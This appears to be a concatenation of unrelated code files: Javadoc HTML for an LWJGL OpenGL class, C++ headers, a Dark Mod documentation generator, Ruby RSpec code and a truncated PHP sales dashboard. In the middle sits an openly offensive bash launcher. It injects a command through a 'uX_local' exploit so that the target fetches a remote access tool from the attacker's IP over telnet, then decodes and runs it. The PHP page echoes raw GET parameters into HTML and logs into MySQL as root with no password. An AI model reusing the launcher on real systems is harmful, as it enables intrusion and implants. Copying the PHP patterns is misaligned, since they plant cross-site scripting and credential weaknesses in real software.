<DT><PRE>public final class <B>NVDeepTexture3D</B><DT>extends java.lang.Object</DL>
</PRE>
<P>
<HR>
<P>
<!-- =========== FIELD SUMMARY =========== -->
<A NAME="field_summary"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2">
<B>Field Summary</B></FONT></TH>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static int</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/lwjgl/opengl/NVDeepTexture3D.html#GL_MAX_DEEP_3D_TEXTURE_DEPTH_NV">GL_MAX_DEEP_3D_TEXTURE_DEPTH_NV</A></B></CODE>
<BR>
Accepted by the <pname> parameter of GetBooleanv, GetDoublev, GetIntegerv
and GetFloatv:</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>static int</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/lwjgl/opengl/NVDeepTexture3D.html#GL_MAX_DEEP_3D_TEXTURE_WIDTH_HEIGHT_NV">GL_MAX_DEEP_3D_TEXTURE_WIDTH_HEIGHT_NV</A></B></CODE>
<BR>
Accepted by the <pname> parameter of GetBooleanv, GetDoublev, GetIntegerv
and GetFloatv:</TD>
</TR>
</TABLE>
<!-- ========== METHOD SUMMARY =========== -->
<A NAME="method_summary"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2">
<B>Method Summary</B></FONT></TH>
</TR>
</TABLE>
<A NAME="methods_inherited_from_class_java.lang.Object"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor">
<TH ALIGN="left"><B>Methods inherited from class java.lang.Object</B></TH>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE>clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait</CODE></TD>
</TR>
</TABLE>
<P>
<!-- ============ FIELD DETAIL =========== -->
<A NAME="field_detail"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TH ALIGN="left" COLSPAN="1"><FONT SIZE="+2">
<B>Field Detail</B></FONT></TH>
</TR>
</TABLE>
<A NAME="GL_MAX_DEEP_3D_TEXTURE_WIDTH_HEIGHT_NV"><!-- --></A><H3>
GL_MAX_DEEP_3D_TEXTURE_WIDTH_HEIGHT_NV</H3>
<PRE>
public static final int <B>GL_MAX_DEEP_3D_TEXTURE_WIDTH_HEIGHT_NV</B></PRE>
<DL>
<DD>Accepted by the <pname> parameter of GetBooleanv, GetDoublev, GetIntegerv
and GetFloatv:
<P>
<DL>
<DT><B>See Also:</B><DD><A HREF="../../../constant-values.html#org.lwjgl.opengl.NVDeepTexture3D.GL_MAX_DEEP_3D_TEXTURE_WIDTH_HEIGHT_NV">Constant Field Values</A></DL>
</DL>
<HR>
<A NAME="GL_MAX_DEEP_3D_TEXTURE_DEPTH_NV"><!-- --></A><H3>
GL_MAX_DEEP_3D_TEXTURE_DEPTH_NV</H3>
<PRE>
public static final int <B>GL_MAX_DEEP_3D_TEXTURE_DEPTH_NV</B></PRE>
<DL>
<DD>Accepted by the <pname> parameter of GetBooleanv, GetDoublev, GetIntegerv
and GetFloatv:
<P>
<DL>
<DT><B>See Also:</B><DD><A HREF="../../../constant-values.html#org.lwjgl.opengl.NVDeepTexture3D.GL_MAX_DEEP_3D_TEXTURE_DEPTH_NV">Constant Field Values</A></DL>
</DL>
<!-- ========= END OF CLASS DATA ========= -->
<HR>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<A NAME="navbar_bottom"><!-- --></A>
<A HREF="#skip-navbar_bottom" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_bottom_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="class-use/NVDeepTexture3D.html"><FONT CLASS="NavBarFont1"><B>Use</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../org/lwjgl/opengl/NVCopyImage.html" title="class in org.lwjgl.opengl"><B>PREV CLASS</B></A>
<A HREF="../../../org/lwjgl/opengl/NVDepthBufferFloat.html" title="class in org.lwjgl.opengl"><B>NEXT CLASS</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../index.html?org/lwjgl/opengl/NVDeepTexture3D.html" target="_top"><B>FRAMES</B></A>
<A HREF="NVDeepTexture3D.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
<TR>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
SUMMARY: NESTED | <A HREF="#field_summary">FIELD</A> | CONSTR | <A HREF="#methods_inherited_from_class_java.lang.Object">METHOD</A></FONT></TD>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
DETAIL: <A HREF="#field_detail">FIELD</A> | CONSTR | METHOD</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_bottom"></A>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<HR>
<i>Copyright © 2002-2009 lwjgl.org. All Rights Reserved.</i>
</BODY>
</HTML>
| Java |
// spin_box.hpp
/*
neoGFX Resource Compiler
Copyright(C) 2019 Leigh Johnston
This program is free software: you can redistribute it and / or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#pragma once
#include <neogfx/neogfx.hpp>
#include <neogfx/gui/widget/spin_box.hpp>
#include <neogfx/tools/nrc/ui_element.hpp>
namespace neogfx::nrc
{
template <typename T, ui_element_type SpinBoxType>
class basic_spin_box : public ui_element<>
{
public:
basic_spin_box(const i_ui_element_parser& aParser, i_ui_element& aParent) :
ui_element<>{ aParser, aParent, SpinBoxType }
{
add_header("neogfx/gui/widget/spin_box.hpp");
add_data_names({ "minimum", "maximum", "step", "value" });
}
public:
void parse(const neolib::i_string& aName, const data_t& aData) override
{
ui_element<>::parse(aName, aData);
if (aName == "minimum")
iMinimum = get_scalar<T>(aData);
else if (aName == "maximum")
iMaximum = get_scalar<T>(aData);
else if (aName == "step")
iStep = get_scalar<T>(aData);
else if (aName == "value")
iValue = get_scalar<T>(aData);
}
void parse(const neolib::i_string& aName, const array_data_t& aData) override
{
ui_element<>::parse(aName, aData);
}
protected:
void emit() const override
{
}
void emit_preamble() const override
{
emit(" %1% %2%;\n", type_name(), id());
ui_element<>::emit_preamble();
}
void emit_ctor() const override
{
ui_element<>::emit_generic_ctor();
ui_element<>::emit_ctor();
}
void emit_body() const override
{
ui_element<>::emit_body();
if (iMinimum)
emit(" %1%.set_minimum(%2%);\n", id(), *iMinimum);
if (iMaximum)
emit(" %1%.set_maximum(%2%);\n", id(), *iMaximum);
if (iStep)
emit(" %1%.set_step(%2%);\n", id(), *iStep);
if (iMinimum)
emit(" %1%.set_value(%2%);\n", id(), *iValue);
}
protected:
using ui_element<>::emit;
private:
neolib::optional<T> iMinimum;
neolib::optional<T> iMaximum;
neolib::optional<T> iStep;
neolib::optional<T> iValue;
};
typedef basic_spin_box<int32_t, ui_element_type::SpinBox> spin_box;
typedef basic_spin_box<double, ui_element_type::DoubleSpinBox> double_spin_box;
}
| Java |
/*****************************************************************************
The Dark Mod GPL Source Code
This file is part of the The Dark Mod Source Code, originally based
on the Doom 3 GPL Source Code as published in 2011.
The Dark Mod Source Code is free software: you can redistribute it
and/or modify it under the terms of the GNU General Public License as
published by the Free Software Foundation, either version 3 of the License,
or (at your option) any later version. For details, see LICENSE.TXT.
Project: The Dark Mod (http://www.thedarkmod.com/)
$Revision$ (Revision of last commit)
$Date$ (Date of last commit)
$Author$ (Author of last commit)
******************************************************************************/
#include "precompiled_game.h"
#pragma hdrstop
static bool versioned = RegisterVersionedFile( "$Id$" );
#include "Script_Doc_Export.h"
#include "../pugixml/pugixml.hpp"
namespace {
inline void Write( idFile &out, const idStr &str ) {
out.Write( str.c_str(), str.Length() );
}
inline void Writeln( idFile &out, const idStr &str ) {
out.Write( ( str + "\n" ).c_str(), str.Length() + 1 );
}
idStr GetEventArgumentString( const idEventDef &ev ) {
idStr out;
static const char *gen = "abcdefghijklmnopqrstuvwxyz";
int g = 0;
const EventArgs &args = ev.GetArgs();
for( EventArgs::const_iterator i = args.begin(); i != args.end(); ++i ) {
out += out.IsEmpty() ? "" : ", ";
idTypeDef *type = idCompiler::GetTypeForEventArg( i->type );
// Use a generic variable name "a", "b", "c", etc. if no name present
out += va( "%s %s", type->Name(), strlen( i->name ) > 0 ? i->name : idStr( gen[g++] ).c_str() );
}
return out;
}
inline bool EventIsPublic( const idEventDef &ev ) {
const char *eventName = ev.GetName();
if( eventName != NULL && ( eventName[0] == '<' || eventName[0] == '_' ) ) {
return false; // ignore all event names starting with '<', these mark internal events
}
const char *argFormat = ev.GetArgFormat();
int numArgs = strlen( argFormat );
// Check if any of the argument types is invalid before allocating anything
for( int arg = 0; arg < numArgs; ++arg ) {
idTypeDef *argType = idCompiler::GetTypeForEventArg( argFormat[arg] );
if( argType == NULL ) {
return false;
}
}
return true;
}
idList<idTypeInfo *> GetRespondingTypes( const idEventDef &ev ) {
idList<idTypeInfo *> tempList;
int numTypes = idClass::GetNumTypes();
for( int i = 0; i < numTypes; ++i ) {
idTypeInfo *info = idClass::GetType( i );
if( info->RespondsTo( ev ) ) {
tempList.Append( info );
}
}
idList<idTypeInfo *> finalList;
// Remove subclasses from the list, only keep top-level nodes
for( int i = 0; i < tempList.Num(); ++i ) {
bool isSubclass = false;
for( int j = 0; j < tempList.Num(); ++j ) {
if( i == j ) {
continue;
}
if( tempList[i]->IsType( *tempList[j] ) ) {
isSubclass = true;
break;
}
}
if( !isSubclass ) {
finalList.Append( tempList[i] );
}
}
return finalList;
}
int SortTypesByClassname( idTypeInfo *const *a, idTypeInfo *const *b ) {
return idStr::Cmp( ( *a )->classname, ( *b )->classname );
}
}
ScriptEventDocGenerator::ScriptEventDocGenerator() {
for( int i = 0; i < idEventDef::NumEventCommands(); ++i ) {
const idEventDef *def = idEventDef::GetEventCommand( i );
_events[std::string( def->GetName() )] = def;
}
time_t timer = time( NULL );
struct tm *t = localtime( &timer );
_dateStr = va( "%04u-%02u-%02u %02u:%02u", t->tm_year + 1900, t->tm_mon + 1, t->tm_mday, t->tm_hour, t->tm_min );
}
// --------- D3 Script -----------
idStr ScriptEventDocGeneratorD3Script::GetEventDocumentation( const idEventDef &ev ) {
idStr out = "/**\n";
out += " * ";
// Format line breaks in the description
idStr desc( ev.GetDescription() );
desc.Replace( "\n", "\n * " );
out += desc;
const EventArgs &args = ev.GetArgs();
idStr argDesc;
for( EventArgs::const_iterator i = args.begin(); i != args.end(); ++i ) {
if( idStr::Length( i->desc ) == 0 ) {
continue;
}
// Format line breaks in the description
idStr desc( i->desc );
desc.Replace( "\n", "\n * " );
argDesc += va( "\n * @%s: %s", i->name, desc.c_str() );
}
if( !argDesc.IsEmpty() ) {
out += "\n * ";
out += argDesc;
}
out += "\n */";
return out;
}
void ScriptEventDocGeneratorD3Script::WriteDoc( idFile &out ) {
Write( out, "#ifndef __TDM_EVENTS__\n" );
Write( out, "#define __TDM_EVENTS__\n\n" );
Write( out, "/**\n" );
Write( out, " * The Dark Mod Script Event Documentation\n" );
Write( out, " * \n" );
Write( out, " * This file has been generated automatically by the tdm_gen_script_event_doc console command.\n" );
Write( out, " * Last update: " + _dateStr + "\n" );
Write( out, " */\n" );
Write( out, "\n" );
Write( out, "// ===== THIS FILE ONLY SERVES FOR DOCUMENTATION PURPOSES, IT'S NOT ACTUALLY READ BY THE GAME =======\n" );
Write( out, "// ===== If you want to force this file to be loaded, change the line below to #if 1 ================\n" );
Write( out, "#if 0\n" );
Write( out, "\n" );
Write( out, "\n" );
for( EventMap::const_iterator i = _events.begin(); i != _events.end(); ++i ) {
const idEventDef &ev = *i->second;
if( !EventIsPublic( ev ) ) {
continue;
}
idTypeDef *returnType = idCompiler::GetTypeForEventArg( ev.GetReturnType() );
idStr signature = GetEventArgumentString( ev );
idStr documentation = GetEventDocumentation( ev );
idStr outStr = va( "\n%s\nscriptEvent %s\t\t%s(%s);\n",
documentation.c_str(), returnType->Name(), ev.GetName(), signature.c_str() );
Write( out, outStr );
}
Write( out, "\n" );
Write( out, "#endif\n" );
Write( out, "\n" );
Write( out, "\n\n#endif\n" );
}
// ------------- Mediawiki -------------
idStr ScriptEventDocGeneratorMediaWiki::GetEventDescription( const idEventDef &ev ) {
idStr out = ":";
// Format line breaks in the description
idStr desc( ev.GetDescription() );
desc.Replace( "\n", " " ); // no artificial line breaks
out += desc;
out += "\n";
const EventArgs &args = ev.GetArgs();
idStr argDesc;
for( EventArgs::const_iterator i = args.begin(); i != args.end(); ++i ) {
if( idStr::Length( i->desc ) == 0 ) {
continue;
}
// Format line breaks in the description
idStr desc( i->desc );
desc.Replace( "\n", " " ); // no artificial line breaks
argDesc += va( "::''%s'': %s\n", i->name, desc.c_str() );
}
if( !argDesc.IsEmpty() ) {
//out += "\n:";
out += argDesc;
}
return out;
}
idStr ScriptEventDocGeneratorMediaWiki::GetEventDoc( const idEventDef *ev, bool includeSpawnclassInfo ) {
idStr out;
idTypeDef *returnType = idCompiler::GetTypeForEventArg( ev->GetReturnType() );
idStr signature = GetEventArgumentString( *ev );
idStr description = GetEventDescription( *ev );
idStr outStr = va( "==== scriptEvent %s '''%s'''(%s); ====\n",
returnType->Name(), ev->GetName(), signature.c_str() );
out += outStr + "\n";
out += description + "\n";
// Get type response info
idList<idTypeInfo *> list = GetRespondingTypes( *ev );
list.Sort( SortTypesByClassname );
if( includeSpawnclassInfo ) {
idStr typeInfoStr;
for( int t = 0; t < list.Num(); ++t ) {
idTypeInfo *type = list[t];
typeInfoStr += ( typeInfoStr.IsEmpty() ) ? "" : ", ";
typeInfoStr += "''";
typeInfoStr += type->classname;
typeInfoStr += "''";
}
typeInfoStr = ":Spawnclasses responding to this event: " + typeInfoStr;
out += typeInfoStr + "\n";
}
return out;
}
void ScriptEventDocGeneratorMediaWiki::WriteDoc( idFile &out ) {
idStr version = va( "%s %d.%02d, code revision %d",
GAME_VERSION,
TDM_VERSION_MAJOR, TDM_VERSION_MINOR,
RevisionTracker::Instance().GetHighestRevision()
);
Writeln( out, "This page has been generated automatically by the tdm_gen_script_event_doc console command." );
Writeln( out, "" );
Writeln( out, "Generated by " + version + ", last update: " + _dateStr );
Writeln( out, "" );
Writeln( out, "{{tdm-scripting-reference-intro}}" );
// Table of contents, but don't show level 4 headlines
Writeln( out, "<div class=\"toclimit-4\">" ); // SteveL #3740
Writeln( out, "__TOC__" );
Writeln( out, "</div>" );
Writeln( out, "= TDM Script Event Reference =" );
Writeln( out, "" );
Writeln( out, "== All Events ==" );
Writeln( out, "=== Alphabetic List ===" ); // #3740 Two headers are required here for the toclimit to work. We can't skip a heading level.
typedef std::vector<const idEventDef *> EventList;
typedef std::map<idTypeInfo *, EventList> SpawnclassEventMap;
SpawnclassEventMap spawnClassEventMap;
for( EventMap::const_iterator i = _events.begin(); i != _events.end(); ++i ) {
const idEventDef *ev = i->second;
if( !EventIsPublic( *ev ) ) {
continue;
}
Write( out, GetEventDoc( ev, true ) );
idList<idTypeInfo *> respTypeList = GetRespondingTypes( *ev );
respTypeList.Sort( SortTypesByClassname );
// Collect info for each spawnclass
for( int t = 0; t < respTypeList.Num(); ++t ) {
idTypeInfo *type = respTypeList[t];
SpawnclassEventMap::iterator typeIter = spawnClassEventMap.find( type );
// Put the event in the class info map
if( typeIter == spawnClassEventMap.end() ) {
typeIter = spawnClassEventMap.insert( SpawnclassEventMap::value_type( type, EventList() ) ).first;
}
typeIter->second.push_back( ev );
}
}
// Write info grouped by class
Writeln( out, "" );
Writeln( out, "== Events by Spawnclass / Entity Type ==" );
for( SpawnclassEventMap::const_iterator i = spawnClassEventMap.begin();
i != spawnClassEventMap.end(); ++i ) {
Writeln( out, idStr( "=== " ) + i->first->classname + " ===" );
//Writeln(out, "Events:" + idStr(static_cast<int>(i->second.size())));
for( EventList::const_iterator t = i->second.begin(); t != i->second.end(); ++t ) {
Write( out, GetEventDoc( *t, false ) );
}
}
Writeln( out, "[[Category:Scripting]]" );
}
// -------- XML -----------
void ScriptEventDocGeneratorXml::WriteDoc( idFile &out ) {
pugi::xml_document doc;
idStr version = va( "%d.%02d", TDM_VERSION_MAJOR, TDM_VERSION_MINOR );
time_t timer = time( NULL );
struct tm *t = localtime( &timer );
idStr isoDateStr = va( "%04u-%02u-%02u", t->tm_year + 1900, t->tm_mon + 1, t->tm_mday );
pugi::xml_node eventDocNode = doc.append_child( "eventDocumentation" );
pugi::xml_node eventDocVersion = eventDocNode.append_child( "info" );
eventDocVersion.append_attribute( "game" ).set_value( GAME_VERSION );
eventDocVersion.append_attribute( "tdmversion" ).set_value( version.c_str() );
eventDocVersion.append_attribute( "coderevision" ).set_value( RevisionTracker::Instance().GetHighestRevision() );
eventDocVersion.append_attribute( "date" ).set_value( isoDateStr.c_str() );
for( EventMap::const_iterator i = _events.begin(); i != _events.end(); ++i ) {
const idEventDef *ev = i->second;
if( !EventIsPublic( *ev ) ) {
continue;
}
pugi::xml_node eventNode = eventDocNode.append_child( "event" );
eventNode.append_attribute( "name" ).set_value( ev->GetName() );
// Description
pugi::xml_node evDescNode = eventNode.append_child( "description" );
idStr desc( ev->GetDescription() );
desc.Replace( "\n", " " ); // no artificial line breaks
evDescNode.append_attribute( "value" ).set_value( desc.c_str() );
// Arguments
static const char *gen = "abcdefghijklmnopqrstuvwxyz";
int g = 0;
const EventArgs &args = ev->GetArgs();
for( EventArgs::const_iterator i = args.begin(); i != args.end(); ++i ) {
idTypeDef *type = idCompiler::GetTypeForEventArg( i->type );
// Use a generic variable name "a", "b", "c", etc. if no name present
pugi::xml_node argNode = eventNode.append_child( "argument" );
argNode.append_attribute( "name" ).set_value( strlen( i->name ) > 0 ? i->name : idStr( gen[g++] ).c_str() );
argNode.append_attribute( "type" ).set_value( type->Name() );
idStr desc( i->desc );
desc.Replace( "\n", " " ); // no artificial line breaks
argNode.append_attribute( "description" ).set_value( desc.c_str() );
}
idList<idTypeInfo *> respTypeList = GetRespondingTypes( *ev );
respTypeList.Sort( SortTypesByClassname );
// Responding Events
pugi::xml_node evRespTypesNode = eventNode.append_child( "respondingTypes" );
for( int t = 0; t < respTypeList.Num(); ++t ) {
idTypeInfo *type = respTypeList[t];
pugi::xml_node respTypeNode = evRespTypesNode.append_child( "respondingType" );
respTypeNode.append_attribute( "spawnclass" ).set_value( type->classname );
}
}
std::stringstream stream;
doc.save( stream );
out.Write( stream.str().c_str(), stream.str().length() );
} | Java |
module Spec
module Runner
class BacktraceTweaker
def clean_up_double_slashes(line)
line.gsub!('//','/')
end
end
class NoisyBacktraceTweaker < BacktraceTweaker
def tweak_backtrace(error)
return if error.backtrace.nil?
tweaked = error.backtrace.collect do |line|
clean_up_double_slashes(line)
line
end
error.set_backtrace(tweaked)
end
end
# Tweaks raised Exceptions to mask noisy (unneeded) parts of the backtrace
class QuietBacktraceTweaker < BacktraceTweaker
unless defined?(IGNORE_PATTERNS)
root_dir = File.expand_path(File.join(__FILE__, '..', '..', '..', '..'))
spec_files = Dir["#{root_dir}/lib/*"].map do |path|
subpath = path[root_dir.length..-1]
/#{subpath}/
end
IGNORE_PATTERNS = spec_files + [
/\/lib\/ruby\//,
/bin\/spec:/,
/bin\/rcov:/,
/lib\/rspec-rails/,
/vendor\/rails/,
# TextMate's Ruby and RSpec plugins
/Ruby\.tmbundle\/Support\/tmruby.rb:/,
/RSpec\.tmbundle\/Support\/lib/,
/temp_textmate\./,
/mock_frameworks\/rspec/,
/spec_server/
]
end
def tweak_backtrace(error)
return if error.backtrace.nil?
tweaked = error.backtrace.collect do |message|
clean_up_double_slashes(message)
kept_lines = message.split("\n").select do |line|
IGNORE_PATTERNS.each do |ignore|
break if line =~ ignore
end
end
kept_lines.empty?? nil : kept_lines.join("\n")
end
error.set_backtrace(tweaked.select {|line| line})
end
end
end
end
| Java |
//
// Item.h
// Project 2
//
// Created by Josh Kennedy on 5/3/14.
// Copyright (c) 2014 Joshua Kennedy. All rights reserved.
//
#ifndef __Project_2__Item__
#define __Project_2__Item__
#include <string>
class Item
{
public:
Item();
virtual ~Item() = 0;
unsigned long getIdNumber() const;
virtual double getPrice() const;
std::string getName() const;
virtual void doSomething() = 0;
protected:
unsigned long idNumber;
std::string name;
};
#endif /* defined(__Project_2__Item__) */
| Java |
#!/bin/bash
echo -e "\n\n\n\n\nYOU REALLY SHOULD BE USING ys.auto or better yet -sploit
BUT IF YOU MUST USE $0 at least use /current/bin/nc.YS instead of just nc.
Packrat now has an option to do just that:
packrat -n /current/bin/nc.YS
"
sleep 4
usage ()
{
echo "Usage: ${0}
-l [ IP of attack machine (NO DEFAULT) ]
-r [ name of rat on target (NO DEFAULT) ]
-p [ call back port DEFAULT = 32177 ]
-x [ port to start mini X server on DEFAULT = 12121 ]
-d [ directory to work from/create on target DEFAULT = /tmp/.X11R6]"
echo "example: ${0} -l 192.168.1.1 -p 22222 -r nscd -x 9999 -d /tmp/.strange"
}
DIR=0
XPORT=0
CALLBACK_PORT=0
if [ $# -lt 4 ]
then
usage
exit 1
fi
while getopts hl:p:r:d:x: optvar
do
case "$optvar"
in
h)
usage
exit 1
;;
l) LOCAL_IP=${OPTARG}
;;
p) CALLBACK_PORT=${OPTARG}
;;
r) RAT=${OPTARG}
;;
x) XPORT=${OPTARG}
;;
d) DIR=${OPTARG}
;;
*) echo "invalid option"
usage
exit 1
;;
esac
done
if [ ${DIR} = 0 ]
then
DIR="/tmp/.X11R6"
fi
if [ ${XPORT} = 0 ]
then
XPORT=12121
fi
if [ ${CALLBACK_PORT} = 0 ]
then
CALLBACK_PORT=32177
fi
echo
echo "########################################"
echo "Local IP = ${LOCAL_IP}"
echo "Call back port = ${CALLBACK_PORT}"
echo "Name of Rat = ${RAT}"
echo "Starting mini X server on port ${XPORT}"
echo "Directory to create/use = ${DIR}"
echo "########################################"
echo
VENDOR_STR="\`mkdir ${DIR} 2>&1;cd ${DIR} 2>&1 && /usr/bin/telnet ${LOCAL_IP} ${CALLBACK_PORT} 2>&1 </dev/console > ${RAT}.uu; uudecode ${RAT}.uu 2>&1 > /dev/null 2>&1 && uncompress -f ${RAT}.Z;chmod 0700 ${RAT} && export PATH=.; ${RAT} \`"
./uX_local -e "${VENDOR_STR}" -v -p ${XPORT} -c xxx
| Java |
<!DOCTYPE html>
<html lang="es">
<head>
<!-- Google Tag Manager -->
<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','GTM-N4ZZ9MM');</script>
<!-- End Google Tag Manager -->
<meta charset="iso-8859-1" />
<title>Performance Paris Internet</title>
<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0" />
<link rel="stylesheet" type="text/css" href="../../../bootstrap-3.3.6-dist/css/bootstrap.css" />
<link rel="stylesheet" type="text/css" href="../../../bootstrap-select-1.9.4/dist/css/bootstrap-select.css" />
<link rel="stylesheet" type="text/css" href="../../../estilo.css" />
<link rel="shortcut icon" type="image/png" href="../../../paris.png" />
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<script src="http://code.jquery.com/jquery-latest.js"></script>
<!-- analytics -->
<script>
/*(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-88784345-1', 'auto');
ga('send', 'pageview');*/
function change_date() {
var month = document.getElementById("month").value;
var year = document.getElementById("year").value;
var historicos = document.getElementsByClassName("tipo_venta");
var neg_div = document.getElementById("neg_div").value;
var cantidad_historicos = historicos.length;
document.getElementById("plan").href = "../../../ingresos/plan/index.php?month=" + month + "&year=" + year;
document.getElementById("filtro_depto").href = "../por_departamento/index.php?month=" + month + "&year=" + year + "&depto=601";
document.getElementById("filtro_negocio_division").href = "index.php?month=" + month + "&year=" + year + "&neg_div="+neg_div;
document.getElementById("historico").href = "../../../ingresos/historico/index.php?month=" + month + "&year=" + year;
document.getElementById("tipo_pago").href = "../../tipo_pago/index.php?month=" + month + "&year=" + year;
for (var i = 0; i < cantidad_historicos; i++)
historicos[i].href = "../index.php?month=" + month + "&year=" + year;
}
</script>
</head>
<body>
<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-N4ZZ9MM"
height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->
<header class="container">
<nav class="navbar navbar-default">
<div class="btn-group-sm">
<div class="row">
<div class="col-md-12">
<h3 class="text-center"><a href="http://10.95.17.114/paneles"><img src="../../../paris.png" width="140px" height="100px"></a> Ingresos por Tipo Venta, <?php
if(isset($_GET['neg_div']))
echo " " . $_GET['neg_div'];
else
echo " VESTUARIO";
?></h3></div>
</div>
<div class="row">
<div class="col-lg-6 col-sm-6">
<h5 class="text-center text-success" style="margin-left: 200px;">Última actualización a las <?php
date_default_timezone_set("America/Santiago");
$con = new mysqli('localhost', 'root', '', 'ventas');
$query = "select hora from actualizar";
$res = $con->query($query);
$hour = 0;
while($row = mysqli_fetch_assoc($res)){
$h = $row['hora'];
if(strlen($row['hora']) == 1)
$h = "00000" . $h;
if(strlen($row['hora']) == 2)
$h = "0000" . $h;
if(strlen($row['hora']) == 3)
$h = "000" . $h;
if(strlen($row['hora']) == 4)
$h = "00" . $h;
if(strlen($row['hora']) == 5)
$h = "0" . $row['hora'];
$h = new DateTime($h);
}
echo $h->format("H:i") . " horas.";
?></h5></div>
<div class="col-lg-6 col-sm-6">
<a class="btn btn-default btn-sm" href="../../../query.php" style="margin-left: 001px;">Query Ventas<img id="txt" src="../../../images.png"></a>
</div>
</div>
<br>
<form action="index.php" method="get" class="row">
<div class="col-lg-2">
<div class="dropdown">
<button class="btn btn-default btn-sm dropdown-toggle" type="button" id="dropdownMenu1" data-toggle="dropdown" aria-haspopup="true" aria-expanded="true">
Seleccione Reporte
<span class="caret"></span>
</button>
<ul class="dropdown-menu" aria-labelledby="dropdownMenu1">
<li class="dropdown-header">Reporte de Ingresos</li>
<!-- Link a Panel Plan -->
<li><a id="plan" href="../../../ingresos/plan/index.php?month=<?php
if(isset($_GET['month']))
echo $_GET['month'];
else
echo date(" m ");?>&year=<?php
